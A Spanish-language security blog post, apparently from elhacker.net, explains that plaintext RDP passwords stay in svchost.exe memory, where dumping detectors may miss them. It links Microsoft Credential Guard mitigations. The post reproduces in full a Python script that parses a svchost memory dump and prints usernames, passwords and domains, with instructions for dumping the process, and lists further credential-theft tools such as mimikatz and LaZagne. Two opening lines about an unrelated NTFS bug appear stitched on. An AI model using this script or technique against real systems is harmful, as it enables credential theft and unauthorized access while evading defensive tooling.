Así lo ha descubierto el investigador Jonas, famoso recientemente por descubrir dos bugs (errores) en el sistema de archivos NTFS
Error en Windows 10 corrompe tu disco duro al ver el ícono un archivo
https://blog.elhacker.net/2021/01/error-en-windows-10-corrompe-su-disco-NTFS-i30-bitmap-icon-archivo-comando.html
Una simple búsqueda de cadena dentro de la memoria del proceso para svchost.exe revela la contraseña de texto sin formato que se utilizó para conectarse al sistema a través de RDP.
- La contraseña de texto sin formato está presente. La mayoría de los sistemas Windows modernos ya no tienen wdigest habilitado, por lo que encontrar credenciales de texto sin formato en la memoria es mucho más raro.
- La contraseña está en svchost.exe, a diferencia de lsass.exe. Esto significa que es posible que las herramientas defensivas para detectar / evitar el volcado de contraseñas de la memoria no puedan detectar esto.
Probé esto varias veces, así como muchas otras, y hasta ahora he observado lo siguiente:
- Esto parece funcionar en Windows 10, Windows Sever 2016, Windows Server 2012. Probablemente también en otros, pero hasta ahora lo he visto exitoso contra ellos.
- Según el autor del tweet y otros evaluadores, parece funcionar para cuentas locales y de dominio.
- No parece ser consistente. A veces, la contraseña está ahí, a veces no. No sé exactamente por qué es así. Parece existir en la memoria durante un largo período de tiempo, pero se desconoce cuánto tiempo.
Encuentra el proceso correcto. He visto algunas formas de hacerlo.
Utilizando la herramienta Process Hacker 2. Ves a la pestaña Red y busca el proceso que tiene una conexión RDP. Esto solo funciona si la conexión RDP aún está activa.
Visto en:
https://www.n00py.io/2021/05/dumping-plaintext-rdp-credentials-from-svchost-exe/
El creador de la conocida herramienta mimikatz ha añadido recientemente la funcionalidad:
2.2.0 20210517 Terminal Server Passwords
https://github.com/gentilkiwi/mimikatz/releases
Mitigaciones:
Protect Remote Desktop credentials with Windows Defender Remote Credential Guard
https://docs.microsoft.com/en-us/windows/security/identity-protection/remote-credential-guard
Windows Defender Credential Guard: Requirements
https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-requirements
Script Python
RDP_clear.py
https://gist.github.com/k4nfr3/ca2c392572da645661b62f9a71f28ba3
Código
import re from collections import namedtuple import sys # Clear text password recovery from mem dump as found by @jonasLyk Tweet : https://twitter.com/jonasLyk/status/1393058962942083076 # borrowed python code from Willi Ballenthin -> https://gist.github.com/williballenthin/8e3913358a7996eab9b96bd57fc59df2 # code inspired by @gentilkiwi 's video # This is for those who like me wanted to play with this discovery a little and dirty python3 script while waiting to see another module in the great mimikatz tool # I'm no dev so PR and constructive remarks are welcome ASCII_BYTE = rb" !\"#\$%&\'\(\)\*\+,-\./0123456789:;<=>\?@ABCDEFGHIJKLMNOPQRSTUVWXYZ\[\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}\\\~\t" RDP_Strings = ['RDPDD', 'RDV::RDP::NetDetect::BandwidthChange'] #Server 2008 and Server 2016 tested only String = namedtuple("String", ["s", "offset"]) def ascii_strings(buf, n=4): reg = rb"([%s]{%d,})" % (ASCII_BYTE, n) ascii_re = re.compile(reg) for match in ascii_re.finditer(buf): yield String(match.group().decode("ascii"), match.start()) def unicode_strings(buf, n=4): reg = rb"((?:[%s]\x00){%d,})" % (ASCII_BYTE, n) uni_re = re.compile(reg) for match in uni_re.finditer(buf): try: yield String(match.group().decode("utf-16"), match.start()) except UnicodeDecodeError: pass def getdomain(buf): return buf.decode("UTF-16)") def banner(): print(' _____ ____ _____ _ ') print('| __ | \| _ | ___| |___ ___ ___ ') print('| -| | | __| | _| | -_| .\'| _|') print('|__|__|____/|__| _____|___|_|___|__,|_| ') print(' |_____| ') def main(): import sys SVCHOST = False Last1 = "" Last2 = "" Last3 = "" SERVERNAME="" with open(sys.argv[1], 'rb') as f: b = f.read() for s in ascii_strings(b, n=4): if format(s.s).find("svchost.exe -k termsvcs")!=-1: print('[*] Analyse of dump of process : {:s}'.format( s.s)) SVCHOST = True if format(s.s).find("COMPUTERNAME=")!=-1: #print('[+] SERVERNAME : ' +s.s[13:]) SERVERNAME=s.s[13:] break if (SVCHOST): print("\n") for s in unicode_strings(b): #print('[+] {:d} 0x{:d}: {:s}'.format(0,s.offset, s.s)) if s.s in RDP_Strings: if (s.offset - Last1.offset) < 3000: if (Last1.offset-Last2.offset==512): #print('[+] User :{:d} 0x{:d}: {:s}'.format((s.offset - Last2.offset), Last2.offset, Last2.s)) print('[+] User : \t{:s}'.format(Last2.s)) #print('[+] Password : {:d} 0x{:d}: {:s}'.format((s.offset - Last1.offset), Last1.offset, Last1.s)) print('[+] Password : \t{:s}'.format(Last1.s)) if ((Last2.offset-Last3.offset) == 512) : print('[+] Domain : \t{:d} 0x{:d}: {:s}'.format((s.offset - Last3.offset), Last3.offset, Last3.s)) break else: # bug in case string is less than 4 char domain = b[Last2.offset-512:Last2.offset] if getdomain(domain).strip('\x00')!="": print('[+] Domain : \t{:s}'.format(getdomain(domain))) else: # can be empty, then it's local print("[+] ServerName : \t"+SERVERNAME) break Last3=Last2 Last2=Last1 Last1=s else: print(sys.argv[1] + " doesn't seem to be a svchost dump file") if __name__ == "__main__": banner() if len(sys.argv) != 2: print("\n\nDump svchost process which listens to port 3389 port with any procdump tool") print("") print("Usage: " + sys.argv[0] + " svchost.dmp") exit(0) main()
Otras herramientas extracción credenciales en Windows
- mimikatz https://github.com/gentilkiwi/mimikatz
- Proyecto LaZagne https://github.com/AlessandroZ/LaZagne/
- Pypykatz (mimikatz) en Python https://github.com/skelsec/pypykatz
- Nishang (PowerShell) https://github.com/samratashok/nishang
- CrackMapExec CME https://github.com/byt3bl33d3r/CrackMapExec